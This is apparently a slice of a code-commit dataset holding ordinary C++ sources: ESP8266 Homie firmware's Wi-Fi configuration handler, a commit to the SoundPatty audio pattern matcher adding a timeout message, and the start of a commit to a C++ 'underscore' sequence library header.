\/\/ 75 bytes: {\"ssid\":\"thisisa32characterlongstringyes!\",\"rssi\":-99,\"encryption\":\"none\"}, (-1 for leading \",\"), +1 for terminator\n char json_string[15 + (75 * this->_ssid_count) - 1 + 1];\n size_t json_length = json.printTo(json_string, sizeof(json_string));\n return String(json_string);\n}\n\nvoid BootConfig::_onNetworksRequest() {\n Logger.logln(\"Received networks request\");\n this->_http.send(200, FPSTR(PROGMEM_CONFIG_APPLICATION_JSON), this->_json_wifi_networks);\n}\n\nvoid BootConfig::_onConfigRequest() {\n Logger.logln(\"Received config request\");\n if (this->_flagged_for_reboot) {\n Logger.logln(\"✖ Device already configured\");\n this->_http.send(403, FPSTR(PROGMEM_CONFIG_APPLICATION_JSON), FPSTR(PROGMEM_CONFIG_JSON_FAILURE));\n return;\n }\n\n StaticJsonBuffer<JSON_OBJECT_SIZE(7)> parseJsonBuffer; \/\/ Max seven elements in object\n JsonObject& parsed_json = parseJsonBuffer.parseObject((char*)this->_http.arg(\"plain\").c_str());\n if (!parsed_json.success()) {\n Logger.logln(\"✖ Invalid or too big JSON\");\n this->_http.send(400, FPSTR(PROGMEM_CONFIG_APPLICATION_JSON), FPSTR(PROGMEM_CONFIG_JSON_FAILURE));\n return;\n }\n\n if (!parsed_json.containsKey(\"name\") || !parsed_json[\"name\"].is<const char*>()) {\n Logger.logln(\"✖ name is not a string\");\n this->_http.send(400, FPSTR(PROGMEM_CONFIG_APPLICATION_JSON), FPSTR(PROGMEM_CONFIG_JSON_FAILURE));\n return;\n }\n if (!parsed_json.containsKey(\"wifi_ssid\") || !parsed_json[\"wifi_ssid\"].is<const char*>()) {\n Logger.logln(\"✖ wifi_ssid is not a string\");\n this->_http.send(400, FPSTR(PROGMEM_CONFIG_APPLICATION_JSON), FPSTR(PROGMEM_CONFIG_JSON_FAILURE));\n return;\n }\n if (!parsed_json.containsKey(\"wifi_password\") || !parsed_json[\"wifi_password\"].is<const char*>()) {\n Logger.logln(\"✖ wifi_password is not a string\");\n this->_http.send(400, FPSTR(PROGMEM_CONFIG_APPLICATION_JSON), FPSTR(PROGMEM_CONFIG_JSON_FAILURE));\n return;\n }\n if (!parsed_json.containsKey(\"homie_host\") || !parsed_json[\"homie_host\"].is<const char*>()) {\n Logger.logln(\"✖ homie_host is not a string\");\n this->_http.send(400, FPSTR(PROGMEM_CONFIG_APPLICATION_JSON), FPSTR(PROGMEM_CONFIG_JSON_FAILURE));\n return;\n }\n if (parsed_json.containsKey(\"homie_port\") && !parsed_json[\"homie_port\"].is<uint16_t>()) {\n Logger.logln(\"✖ homie_port is not an unsigned integer\");\n this->_http.send(400, FPSTR(PROGMEM_CONFIG_APPLICATION_JSON), FPSTR(PROGMEM_CONFIG_JSON_FAILURE));\n return;\n }\n if (parsed_json.containsKey(\"homie_ota_path\") && !parsed_json[\"homie_ota_path\"].is<const char*>()) {\n Logger.logln(\"✖ homie_ota_path is not a string\");\n this->_http.send(400, FPSTR(PROGMEM_CONFIG_APPLICATION_JSON), FPSTR(PROGMEM_CONFIG_JSON_FAILURE));\n return;\n }\n if (parsed_json.containsKey(\"homie_ota_port\") && !parsed_json[\"homie_ota_port\"].is<uint16_t>()) {\n Logger.logln(\"✖ homie_ota_port is not an unsigned integer\");\n this->_http.send(400, FPSTR(PROGMEM_CONFIG_APPLICATION_JSON), FPSTR(PROGMEM_CONFIG_JSON_FAILURE));\n return;\n }\n\n const char* req_name = parsed_json[\"name\"];\n const char* req_wifi_ssid = parsed_json[\"wifi_ssid\"];\n const char* req_wifi_password = parsed_json[\"wifi_password\"];\n const char* req_homie_host = parsed_json[\"homie_host\"];\n uint16_t req_homie_port = DEFAULT_HOMIE_PORT;\n if (parsed_json.containsKey(\"homie_port\")) {\n req_homie_port = parsed_json[\"homie_port\"].as<uint16_t>();\n }\n const char* req_homie_ota_path = DEFAULT_HOMIE_OTA_PATH;\n if (parsed_json.containsKey(\"homie_ota_path\")) {\n req_homie_ota_path = parsed_json[\"homie_ota_path\"];\n }\n uint16_t req_homie_ota_port = DEFAULT_HOMIE_OTA_PORT;\n if (parsed_json.containsKey(\"homie_ota_port\")) {\n req_homie_ota_port = parsed_json[\"homie_ota_port\"].as<uint16_t>();\n }\n\n if (strcmp(req_name, \"\") == 0) {\n Logger.logln(\"✖ name is empty\");\n this->_http.send(400, FPSTR(PROGMEM_CONFIG_APPLICATION_JSON), FPSTR(PROGMEM_CONFIG_JSON_FAILURE));\n return;\n }\n if (strcmp(req_wifi_ssid, \"\") == 0) {\n Logger.logln(\"✖ wifi_ssid is empty\");\n this->_http.send(400, FPSTR(PROGMEM_CONFIG_APPLICATION_JSON), FPSTR(PROGMEM_CONFIG_JSON_FAILURE));\n return;\n }\n if (strcmp(req_homie_host, \"\") == 0) {\n Logger.logln(\"✖ homie_host is empty\");\n this->_http.send(400, FPSTR(PROGMEM_CONFIG_APPLICATION_JSON), FPSTR(PROGMEM_CONFIG_JSON_FAILURE));\n return;\n }\n\n \/\/ Check if hostname only [a-z0-9\\-]\n for (int i = 0; i < strlen(req_name); i++){\n if (!((req_name[i] >= 'a' && req_name[i] <= 'z') || (req_name[i] >= '0' && req_name[i] <= '9') || req_name[i] == '-')) {\n Logger.logln(\"✖ name contains unauthorized characters\");\n this->_http.send(400, FPSTR(PROGMEM_CONFIG_APPLICATION_JSON), FPSTR(PROGMEM_CONFIG_JSON_FAILURE));\n return;\n }\n }\n \/\/ Check if hostname doesn't start or end with '-'\n if (req_name[0] == '-' || req_name[strlen(req_name) - 1] == '-') {\n Logger.logln(\"✖ name starts or ends with a dash\");\n this->_http.send(400, FPSTR(PROGMEM_CONFIG_APPLICATION_JSON), FPSTR(PROGMEM_CONFIG_JSON_FAILURE));\n return;\n }\n\n Config.hostname = req_name;\n Config.wifi_ssid = req_wifi_ssid;\n Config.wifi_password = req_wifi_password;\n Config.homie_host = req_homie_host;\n Config.homie_port = req_homie_port;\n Config.homie_ota_path = req_homie_ota_path;\n Config.homie_ota_port = req_homie_ota_port;\n Config.boot_mode = BOOT_NORMAL;\n Config.configured = true;\n Config.save();\n Config.log();\n\n Logger.logln(\"✔ Configured\");\n\n this->_http.send(200, FPSTR(PROGMEM_CONFIG_APPLICATION_JSON), \"{\\\"success\\\":true}\");\n\n this->_flagged_for_reboot = true; \/\/ We don't reboot immediately, otherwise the response above is not sent\n this->_flagged_for_reboot_at = millis();\n}\n\nvoid BootConfig::loop() {\n Boot::loop();\n\n this->_dns.processNextRequest();\n this->_http.handleClient();\n\n if (this->_flagged_for_reboot) {\n if (millis() - this->_flagged_for_reboot_at >= 5000UL) {\n Logger.logln(\"↻ Rebooting in normal mode\");\n ESP.restart();\n }\n\n return;\n }\n\n if (!this->_last_wifi_scan_ended) {\n int8_t scan_result = WiFi.scanComplete();\n\n switch (scan_result) {\n case WIFI_SCAN_RUNNING:\n return;\n case WIFI_SCAN_FAILED:\n Logger.logln(\"✖ Wi-Fi scan failed\");\n this->_ssid_count = 0;\n break;\n default:\n Logger.logln(\"✔ Wi-Fi scan completed\");\n this->_ssid_count = scan_result;\n this->_json_wifi_networks = this->_generateNetworksJson();\n break;\n }\n\n this->_last_wifi_scan_ended = true;\n }\n\n unsigned long now = millis();\n if (now - this->_last_wifi_scan >= 20000UL && this->_last_wifi_scan_ended) {\n Logger.logln(\"Triggering Wi-Fi scan\");\n WiFi.scanNetworks(true);\n this->_last_wifi_scan = now;\n this->_last_wifi_scan_ended = false;\n }\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\n * soundpatty.cpp\n *\n * Copyright (c) 2010 Motiejus Jakštys\n *\n * This program is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU General Public License version 3.\n\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n\n * You should have received a copy of the GNU General Public License\n * along with this program. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\n *\/\n\n\n#include \"soundpatty.h\"\n#include \"input.h\"\n\nvoid SoundPatty::dump_out(const treshold_t args) { \/\/ STATIC\n printf (\"%d;%.6f;%.6f\\n\", args.r, args.place, args.sec);\n};\n\n\nvoid SoundPatty::setAction(int action, char * cfg, void (*fn)(double)) {\n _action = action;\n read_captured_values(cfg);\n _callback = fn; \/\/ What to do when we catch a pattern\n};\n\n\nvoid SoundPatty::setAction(int action) {\n _action = action;\n};\n\n\nSoundPatty::SoundPatty(all_cfg_t all_cfg) { \n\tcfg = all_cfg.first;\n\tvolume = all_cfg.second;\n gSCounter = gMCounter = 0;\n};\n\n\nall_cfg_t SoundPatty::read_cfg (const char * filename) {\n\tmap<string,double> cfg;\n\tvector<sVolumes> volume;\n ifstream file;\n file.open(filename);\n string line;\n int x;\n while (! file.eof() ) {\n getline(file, line);\n x = line.find(\":\");\n if (x == -1) break; \/\/ Last line, exit\n istringstream i(line.substr(x+2));\n double tmp; i >> tmp;\n cfg[line.substr(0,x)] = tmp;\n }\n\n sVolumes tmp;\n tmp.head = tmp.tail = tmp.max = tmp.min = tmp.proc = 0;\n volume.assign(cfg.size(), tmp); \/\/ Assign a bit more then nescesarry\n int max_index = 0; \/\/ Number of different tresholds\n for(map<string, double>::iterator C = cfg.begin(); C != cfg.end(); C++) {\n \/\/ Failed to use boost::regex :(\n if (C->first.find(\"treshold\") == 0) {\n istringstream tmp(C->first.substr(8));\n int i; tmp >> i;\n max_index = max(max_index, i);\n if (C->first.find(\"_min\") != string::npos) {\n volume[i].min = C->second;\n } else {\n volume[i].max = C->second;\n }\n }\n }\n volume.assign(volume.begin(), volume.begin()+max_index+1);\n\treturn all_cfg_t(cfg, volume);\n};\n\n\nint SoundPatty::setInput(const int source_app, void * input_params) {\n if (0 <= source_app && source_app <= 2) {\n this->source_app = source_app;\n }\n switch(this->source_app) {\n case SRC_WAV:\n _input = new WavInput(this, input_params);\n break;\n case SRC_JACK_ONE:\n _input = new JackInput(this, input_params);\n break;\n\t\tcase SRC_JACK_AUTO:\n\t\t\t_input = new JackInput(this, input_params);\n\t\t\tbreak;\n }\n return 0;\n};\n\nvoid SoundPatty::go() {\n string which_timeout (_action == ACTION_DUMP ? \"sampletimeout\" : \"catchtimeout\");\n buffer_t buf;\n\n while (_input->giveInput(&buf) != 0) { \/\/ Have pointer to data\n treshold_t ret;\n\n for (unsigned int i = 0; i < buf.nframes; gSCounter++, i++) {\n jack_default_audio_sample_t cur = buf.buf[i]<0?-buf.buf[i]:buf.buf[i];\n if (search_patterns(cur, &ret))\n {\n if (_action == ACTION_DUMP) {\n SoundPatty::dump_out(ret);\n }\n if (_action == ACTION_CATCH) {\n SoundPatty::do_checking(ret);\n }\n }\n }\n\n if ((double)gSCounter\/_input->SAMPLE_RATE > cfg[which_timeout]) {\n return;\n }\n }\n};\n\n\nvoid SoundPatty::read_captured_values(const char * filename) {\n ifstream file;\n file.open(filename);\n string line;\n for (int i = 0; !file.eof(); i++) {\n getline(file, line);\n if (line.size() == 0) break;\n vector<string> numbers = explode(\";\", line);\n istringstream num(numbers[0]);\n istringstream place(numbers[1]);\n istringstream range(numbers[2]);\n\n double tmp2;\n pair<pair<int, Range>,valsitm_t > tmp;\n num >> tmp2; tmp.first.first = tmp2; \/\/ Index in volume\n range >> tmp2; tmp.first.second = Range(tmp2);\n place >> tmp.second.place; \/\/ Place in the stream\n tmp.second.c = i; \/\/ Counter in the stream\n vals.insert(tmp);\n }\n};\n\n\nint SoundPatty::search_patterns (jack_default_audio_sample_t cur, treshold_t * ret) {\n int v = 0; \/\/ Counter for volume\n for (vector<sVolumes>::iterator V = volume.begin(); V != volume.end(); V++, v++) {\n if (V->min <= cur && cur <= V->max) {\n \/\/ ------------------------------------------------------------\n \/\/ If it's first item in this wave (proc = processing started)\n \/\/\n if (!V->proc) {\n V->tail = gSCounter;\n V->proc = true;\n }\n \/\/ ------------------------------------------------------------\n \/\/ Here we are just normally in the wave.\n \/\/\n V->head = gSCounter;\n } else { \/\/ We are not in the wave\n if (V->proc && (V->min < 0.001 || gSCounter - V->head > WAVE)) {\n\n \/\/------------------------------------------------------------\n \/\/ This wave is over\n \/\/\n V->proc = false; \/\/ Stop processing for both cases: found and not\n\n if (gSCounter - V->tail >= CHUNKSIZE) {\n \/\/ ------------------------------------------------------------\n \/\/ The previous chunk is big enough to be noticed\n \/\/\n ret -> r = v;\n ret -> place = (double)V->tail\/_input->SAMPLE_RATE;\n ret -> sec = (double)(V->head - V->tail)\/_input->SAMPLE_RATE;\n ret -> b = gMCounter++;\n return 1;\n } \n \/\/ ------------------------------------------------------------\n \/\/ Else it is too small, but we don't want to do anything in that case\n \/\/ So therefore we just say that wave processing is over\n \/\/\n }\n }\n }\n return 0;\n};\n\n\n\/\/ --------------------------------------------------------------------------------\n\/\/ This gets called every time there is a treshold found.\n\/\/ Work array is global\n\/\/\n\/\/ int r - id of treshold found (in config.cfg: treshold_(<?r>\\d)_(min|max))\n\/\/ double place - place of sample from the stream start (sec)\n\/\/ double sec - length of a found sample (sec)\n\/\/ int b - index (overall) of sample found\n\/\/\nvoid SoundPatty::do_checking(const treshold_t tr) {\n\n \/\/pair<vals_t::iterator, vals_t::iterator> pa = vals.equal_range(pair<int,double>(r,sec));\n \/\/ Manually searching for matching values because with that pairs equal_range doesnt work\n \/\/ Iterate through pa\n\n unsigned long b = tr.b; vals_t fina; \/\/ FoundInA\n Range demorange(tr.sec);\n pair<int,Range> sample(tr.r, demorange);\n for (vals_t::iterator it1 = vals.begin(); it1 != vals.end(); it1++) {\n if (it1->first == sample) {\n fina.insert(*it1);\n }\n }\n \/\/------------------------------------------------------------\n \/\/ We put a indexes here that we use for continued threads\n \/\/ (we don't want to create a new \"thread\" with already\n \/\/ used length of a sample)\n \/\/\n set<int> used_a; \n\n \/\/------------------------------------------------------------\n \/\/ Iterating through samples that match the found sample\n \/\/\n for (vals_t::iterator in_a = fina.begin(); in_a != fina.end(); in_a++)\n {\n \/\/printf(\"%d %.6f matches %.6f (%d)\\n\", in_a->first.first, sec, in_a->first.second.tm, in_a->second.c);\n int a = in_a->second.c;\n \/\/------------------------------------------------------------\n \/\/ Check if it exists in our work array\n \/\/\n for (list<workitm>::iterator w = work.begin(); w != work.end();) {\n if (b - w->b > round(cfg[\"maxsteps\"])) {\n work.erase(w); w = work.begin(); continue;\n }\n if (b == w->b || a - w->a > round(cfg[\"maxsteps\"]) || w->a >= a) { w++; continue; }\n \/\/ ------------------------------------------------------------\n \/\/ We fit the \"region\" here. We either finished,\n \/\/ or just increasing len\n \/\/\n w->a = a; w->b = b;\n w->trace.push_back(pair<int,unsigned long>(a,b));\n if (++(w->len) < round(cfg[\"matchme\"])) { \/\/ Proceeding with the \"thread\"\n used_a.insert(a);\n \/\/printf (\"Thread expanded to %d\\n\", w->len);\n } else { \/\/ This means the treshold is reached\n\n \/\/ This kind of function is called when the pattern is recognized\n \/\/void(*end_fn)(workitm *, double) = (void*)(workitm *, double) _callback;\n _callback (tr.place + tr.sec);\n }\n w++;\n \/\/ End of work iteration array\n }\n if (used_a.find(a) == used_a.end()) {\n work.push_back(workitm(a,b));\n \/\/printf (\"Pushed back %d %d\\n\", a,b);\n }\n }\n};\n\n\nvector<string> explode(const string &delimiter, const string &str) { \/\/ Found somewhere on NET\n\n vector<string> arr;\n int strleng = str.length();\n int delleng = delimiter.length();\n if (delleng == 0)\n return arr; \/\/no change\n int i = 0, k = 0;\n while (i < strleng) {\n int j = 0;\n while (i+j < strleng && j < delleng && str[i+j] == delimiter[j])\n j++;\n if (j == delleng) {\n arr.push_back(str.substr(k, i-k));\n i += delleng;\n k = i;\n } else {\n i++;\n }\n }\n arr.push_back(str.substr(k, i-k));\n return arr;\n};\n\n\nvoid fatal(void * r) {\n char * msg = (char*) r;\n printf (msg);\n exit (1);\n};\n\n\nvoid fatal(char * msg) {\n printf (msg);\n exit (1);\n};\n\n\nworkitm::workitm(const int a, const unsigned long b) {\n this->a = a; this->b = b;\n len = 0;\n trace.push_back(pair<int,unsigned long>(a,b));\n};\n<commit_msg>Add timeout message (need feedback)<commit_after>\/*\n * soundpatty.cpp\n *\n * Copyright (c) 2010 Motiejus Jakštys\n *\n * This program is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU General Public License version 3.\n\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n\n * You should have received a copy of the GNU General Public License\n * along with this program. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\n *\/\n\n\n#include \"soundpatty.h\"\n#include \"input.h\"\n\nvoid SoundPatty::dump_out(const treshold_t args) { \/\/ STATIC\n printf (\"%d;%.6f;%.6f\\n\", args.r, args.place, args.sec);\n};\n\n\nvoid SoundPatty::setAction(int action, char * cfg, void (*fn)(double)) {\n _action = action;\n read_captured_values(cfg);\n _callback = fn; \/\/ What to do when we catch a pattern\n};\n\n\nvoid SoundPatty::setAction(int action) {\n _action = action;\n};\n\n\nSoundPatty::SoundPatty(all_cfg_t all_cfg) { \n\tcfg = all_cfg.first;\n\tvolume = all_cfg.second;\n gSCounter = gMCounter = 0;\n};\n\n\nall_cfg_t SoundPatty::read_cfg (const char * filename) {\n\tmap<string,double> cfg;\n\tvector<sVolumes> volume;\n ifstream file;\n file.open(filename);\n string line;\n int x;\n while (! file.eof() ) {\n getline(file, line);\n x = line.find(\":\");\n if (x == -1) break; \/\/ Last line, exit\n istringstream i(line.substr(x+2));\n double tmp; i >> tmp;\n cfg[line.substr(0,x)] = tmp;\n }\n\n sVolumes tmp;\n tmp.head = tmp.tail = tmp.max = tmp.min = tmp.proc = 0;\n volume.assign(cfg.size(), tmp); \/\/ Assign a bit more then nescesarry\n int max_index = 0; \/\/ Number of different tresholds\n for(map<string, double>::iterator C = cfg.begin(); C != cfg.end(); C++) {\n \/\/ Failed to use boost::regex :(\n if (C->first.find(\"treshold\") == 0) {\n istringstream tmp(C->first.substr(8));\n int i; tmp >> i;\n max_index = max(max_index, i);\n if (C->first.find(\"_min\") != string::npos) {\n volume[i].min = C->second;\n } else {\n volume[i].max = C->second;\n }\n }\n }\n volume.assign(volume.begin(), volume.begin()+max_index+1);\n\treturn all_cfg_t(cfg, volume);\n};\n\n\nint SoundPatty::setInput(const int source_app, void * input_params) {\n if (0 <= source_app && source_app <= 2) {\n this->source_app = source_app;\n }\n switch(this->source_app) {\n case SRC_WAV:\n _input = new WavInput(this, input_params);\n break;\n case SRC_JACK_ONE:\n _input = new JackInput(this, input_params);\n break;\n\t\tcase SRC_JACK_AUTO:\n\t\t\t_input = new JackInput(this, input_params);\n\t\t\tbreak;\n }\n return 0;\n};\n\nvoid SoundPatty::go() {\n string which_timeout (_action == ACTION_DUMP ? \"sampletimeout\" : \"catchtimeout\");\n buffer_t buf;\n\n while (_input->giveInput(&buf) != 0) { \/\/ Have pointer to data\n treshold_t ret;\n\n for (unsigned int i = 0; i < buf.nframes; gSCounter++, i++) {\n jack_default_audio_sample_t cur = buf.buf[i]<0?-buf.buf[i]:buf.buf[i];\n if (search_patterns(cur, &ret))\n {\n if (_action == ACTION_DUMP) {\n SoundPatty::dump_out(ret);\n }\n if (_action == ACTION_CATCH) {\n SoundPatty::do_checking(ret);\n }\n }\n }\n\n if ((double)gSCounter\/_input->SAMPLE_RATE > cfg[which_timeout]) {\n printf (\"Timed out. Seconds passed: %.6f\\n\", (double)gSCounter\/_input->SAMPLE_RATE);\n return;\n }\n }\n};\n\n\nvoid SoundPatty::read_captured_values(const char * filename) {\n ifstream file;\n file.open(filename);\n string line;\n for (int i = 0; !file.eof(); i++) {\n getline(file, line);\n if (line.size() == 0) break;\n vector<string> numbers = explode(\";\", line);\n istringstream num(numbers[0]);\n istringstream place(numbers[1]);\n istringstream range(numbers[2]);\n\n double tmp2;\n pair<pair<int, Range>,valsitm_t > tmp;\n num >> tmp2; tmp.first.first = tmp2; \/\/ Index in volume\n range >> tmp2; tmp.first.second = Range(tmp2);\n place >> tmp.second.place; \/\/ Place in the stream\n tmp.second.c = i; \/\/ Counter in the stream\n vals.insert(tmp);\n }\n};\n\n\nint SoundPatty::search_patterns (jack_default_audio_sample_t cur, treshold_t * ret) {\n int v = 0; \/\/ Counter for volume\n for (vector<sVolumes>::iterator V = volume.begin(); V != volume.end(); V++, v++) {\n if (V->min <= cur && cur <= V->max) {\n \/\/ ------------------------------------------------------------\n \/\/ If it's first item in this wave (proc = processing started)\n \/\/\n if (!V->proc) {\n V->tail = gSCounter;\n V->proc = true;\n }\n \/\/ ------------------------------------------------------------\n \/\/ Here we are just normally in the wave.\n \/\/\n V->head = gSCounter;\n } else { \/\/ We are not in the wave\n if (V->proc && (V->min < 0.001 || gSCounter - V->head > WAVE)) {\n\n \/\/------------------------------------------------------------\n \/\/ This wave is over\n \/\/\n V->proc = false; \/\/ Stop processing for both cases: found and not\n\n if (gSCounter - V->tail >= CHUNKSIZE) {\n \/\/ ------------------------------------------------------------\n \/\/ The previous chunk is big enough to be noticed\n \/\/\n ret -> r = v;\n ret -> place = (double)V->tail\/_input->SAMPLE_RATE;\n ret -> sec = (double)(V->head - V->tail)\/_input->SAMPLE_RATE;\n ret -> b = gMCounter++;\n return 1;\n } \n \/\/ ------------------------------------------------------------\n \/\/ Else it is too small, but we don't want to do anything in that case\n \/\/ So therefore we just say that wave processing is over\n \/\/\n }\n }\n }\n return 0;\n};\n\n\n\/\/ --------------------------------------------------------------------------------\n\/\/ This gets called every time there is a treshold found.\n\/\/ Work array is global\n\/\/\n\/\/ int r - id of treshold found (in config.cfg: treshold_(<?r>\\d)_(min|max))\n\/\/ double place - place of sample from the stream start (sec)\n\/\/ double sec - length of a found sample (sec)\n\/\/ int b - index (overall) of sample found\n\/\/\nvoid SoundPatty::do_checking(const treshold_t tr) {\n\n \/\/pair<vals_t::iterator, vals_t::iterator> pa = vals.equal_range(pair<int,double>(r,sec));\n \/\/ Manually searching for matching values because with that pairs equal_range doesnt work\n \/\/ Iterate through pa\n\n unsigned long b = tr.b; vals_t fina; \/\/ FoundInA\n Range demorange(tr.sec);\n pair<int,Range> sample(tr.r, demorange);\n for (vals_t::iterator it1 = vals.begin(); it1 != vals.end(); it1++) {\n if (it1->first == sample) {\n fina.insert(*it1);\n }\n }\n \/\/------------------------------------------------------------\n \/\/ We put a indexes here that we use for continued threads\n \/\/ (we don't want to create a new \"thread\" with already\n \/\/ used length of a sample)\n \/\/\n set<int> used_a; \n\n \/\/------------------------------------------------------------\n \/\/ Iterating through samples that match the found sample\n \/\/\n for (vals_t::iterator in_a = fina.begin(); in_a != fina.end(); in_a++)\n {\n \/\/printf(\"%d %.6f matches %.6f (%d)\\n\", in_a->first.first, sec, in_a->first.second.tm, in_a->second.c);\n int a = in_a->second.c;\n \/\/------------------------------------------------------------\n \/\/ Check if it exists in our work array\n \/\/\n for (list<workitm>::iterator w = work.begin(); w != work.end();) {\n if (b - w->b > round(cfg[\"maxsteps\"])) {\n work.erase(w); w = work.begin(); continue;\n }\n if (b == w->b || a - w->a > round(cfg[\"maxsteps\"]) || w->a >= a) { w++; continue; }\n \/\/ ------------------------------------------------------------\n \/\/ We fit the \"region\" here. We either finished,\n \/\/ or just increasing len\n \/\/\n w->a = a; w->b = b;\n w->trace.push_back(pair<int,unsigned long>(a,b));\n if (++(w->len) < round(cfg[\"matchme\"])) { \/\/ Proceeding with the \"thread\"\n used_a.insert(a);\n \/\/printf (\"Thread expanded to %d\\n\", w->len);\n } else { \/\/ This means the treshold is reached\n\n \/\/ This kind of function is called when the pattern is recognized\n \/\/void(*end_fn)(workitm *, double) = (void*)(workitm *, double) _callback;\n _callback (tr.place + tr.sec);\n }\n w++;\n \/\/ End of work iteration array\n }\n if (used_a.find(a) == used_a.end()) {\n work.push_back(workitm(a,b));\n \/\/printf (\"Pushed back %d %d\\n\", a,b);\n }\n }\n};\n\n\nvector<string> explode(const string &delimiter, const string &str) { \/\/ Found somewhere on NET\n\n vector<string> arr;\n int strleng = str.length();\n int delleng = delimiter.length();\n if (delleng == 0)\n return arr; \/\/no change\n int i = 0, k = 0;\n while (i < strleng) {\n int j = 0;\n while (i+j < strleng && j < delleng && str[i+j] == delimiter[j])\n j++;\n if (j == delleng) {\n arr.push_back(str.substr(k, i-k));\n i += delleng;\n k = i;\n } else {\n i++;\n }\n }\n arr.push_back(str.substr(k, i-k));\n return arr;\n};\n\n\nvoid fatal(void * r) {\n char * msg = (char*) r;\n printf (msg);\n exit (1);\n};\n\n\nvoid fatal(char * msg) {\n printf (msg);\n exit (1);\n};\n\n\nworkitm::workitm(const int a, const unsigned long b) {\n this->a = a; this->b = b;\n len = 0;\n trace.push_back(pair<int,unsigned long>(a,b));\n};\n<|endoftext|>"} {"text":"<commit_before>\/*\n *\tCopyright 2014 David Moreno Montero <dmoreno@coralbits.com>\n *\n *\tLicensed under the Apache License, Version 2.0 (the \"License\");\n *\tyou may not use this file except in compliance with the License.\n *\tYou may obtain a copy of the License at\n *\n *\t\t\thttp:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n *\tUnless required by applicable law or agreed to in writing, software\n *\tdistributed under the License is distributed on an \"AS IS\" BASIS,\n *\tWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *\tSee the License for the specific language governing permissions and\n *\tlimitations under the License.\n *\/\n\n#pragma once\n\n#include \"sequence.hpp\"\n\nnamespace underscore{\n\t\/**\n\t * @short Creates an sequence container of the given value. It copies the data.\n\t * \n\t * Example:\n\t * \tconst std::vector<int> v{1,2,3,4};\n\t * \tauto a=_(v);\n\t *\/\n\ttemplate<typename T>\n\tinline sequence<T> _(const T &v){\n\t\treturn sequence<T>(v);\n\t}\n\t\/**\n\t * @short Creates an sequence container of the given value. Perfect forwarding version (std::move)\n\t * \n\t * Example:\n\t * \tauto v=std::vector<int>{1,2,3,4};\n\t * \tauto a=_(std::move(v))\n\t * \n\t * Or:\n\t * \n\t * \tauto a=_(std::vector<int>{1,2,3,4});\n\t *\/\n\ttemplate<typename T>\n\tinline sequence<T> _(T &&v){\n\t\treturn sequence<T>(std::forward<T>(v));\n\t}\n\t\/**\n\t * @short Creates an sequence container with a vector of the elements into the initializer list.\n\t * \n\t * Allows creation directly as:\n\t * \n\t * \tauto a=_({1,2,3,4})\n\t *\/\n\ttemplate<typename T>\n\tinline sequence<std::vector<T>> _(std::initializer_list<T> &&v){\n\t\treturn sequence<std::vector<T>>(std::vector<T>(std::forward<std::initializer_list<T>>(v)));\n\t}\n\t\n\t\/**\n\t * @short Creates ansequence container from two ranges. Useful for subranges.\n\t * \n\t * It needs the ability to copy iterators.\n\t *\/\n\ttemplate<typename I>\n\tinline sequence<range<I>> _(I &&begin, I &&end){\n\t\treturn _(range<I>(begin, end));\n\t}\n\t\n\t\/**\n\t * @short Encapsulate a string.\n\t *\/\n\tstring _(std::string &&s);\n\tstring _(const char *s);\n\n\n\t\/**\n\t * @short zips two lists into one of tuples\n\t * \n\t * Example:\n\t * \tzip({1,2,3,4}, {'a','b','c','d'}) == {{1,'a'},{2,'b'},{3,'c'},{4,'d'}}\n\t * \n\t * This version allows two standard containers\n\t * \n\t * If the lists are uneven (diferent sizes) it creates new elements of the necesary type for the side with less elements:\n\t * \n\t * Example: \n\t * \tzip({1,2}, {'a','b','c','d'}) == {{1,'a'},{2,'b'},{0,'c'},{0,'d'}}\n\t *\/\n\ttemplate<typename A, typename B>\n\tinline sequence<std::vector<std::tuple<typename A::value_type, typename B::value_type>>> zip(const A &a, const B &b){\n\t\ttypedef std::tuple<typename A::value_type, typename B::value_type> ret_t;\n\t\tstd::vector<ret_t> ret;\n\t\tret.reserve(std::max(a.size(), b.size()));\n\t\t\n\t\tauto ia=std::begin(a);\n\t\tauto ea=std::end(a);\n\t\tauto ib=std::begin(b);\n\t\tauto eb=std::end(b);\n\t\twhile (ia!=ea || ib!=eb){\n\t\t\tif (ia==ea){\n\t\t\t\tauto va=typename A::value_type();\n\t\t\t\tret.push_back(std::make_tuple(va, *ib));\n\t\t\t\t++ib;\n\t\t\t}\n\t\t\telse if (ib==eb){\n\t\t\t\tauto vb=typename B::value_type();\n\t\t\t\tret.push_back(std::make_tuple(*ia, std::move(vb)));\n\t\t\t\t++ia;\n\t\t\t}\n\t\t\telse{\n\t\t\t\tret.push_back(std::make_tuple(*ia, *ib));\n\t\t\t\t++ia;\n\t\t\t\t++ib;\n\t\t\t}\n\t\t}\n\t\t\n\t\treturn ret;\n\t}\n\t\/**\n\t * @short zip two lists into a list of tuples.\n\t * \n\t * Specialization with the first as a initializer list.\n\t *\/\n\ttemplate<typename A_t, typename B>\n\tinline sequence<std::vector<std::tuple<A_t, typename B::value_type>>> zip(std::initializer_list<A_t> &&a, B &&b){\n\t\treturn zip(a, b);\n\t}\n\t\/**\n\t * @short zip two lists into a list of tuples.\n\t * \n\t * Specialization with the two as initializer list.\n\t *\/\n\ttemplate<typename A_t, typename B_t>\n\tinline sequence<std::vector<std::tuple<A_t, B_t>>> zip(std::initializer_list<A_t> &&a, std::initializer_list<B_t> &&b){\n\t\treturn zip(a, b);\n\t}\n\t\/**\n\t * @short zip two lists into a list of tuples.\n\t * \n\t * Specialization with the second as a initializer list.\n\t *\/\n\ttemplate<typename A, typename B_t>\n\tinline sequence<std::vector<std::tuple<typename A::value_type, B_t>>> zip(A &&a, std::initializer_list<B_t> &&b){\n\t\treturn zip(a, b);\n\t}\n};\n<commit_msg>Fixes to let underscore.hpp know that there is a range class.<commit_after>\/*\n *\tCopyright 2014 David Moreno Montero <dmoreno@coralbits.com>\n *\n *\tLicensed under the Apache 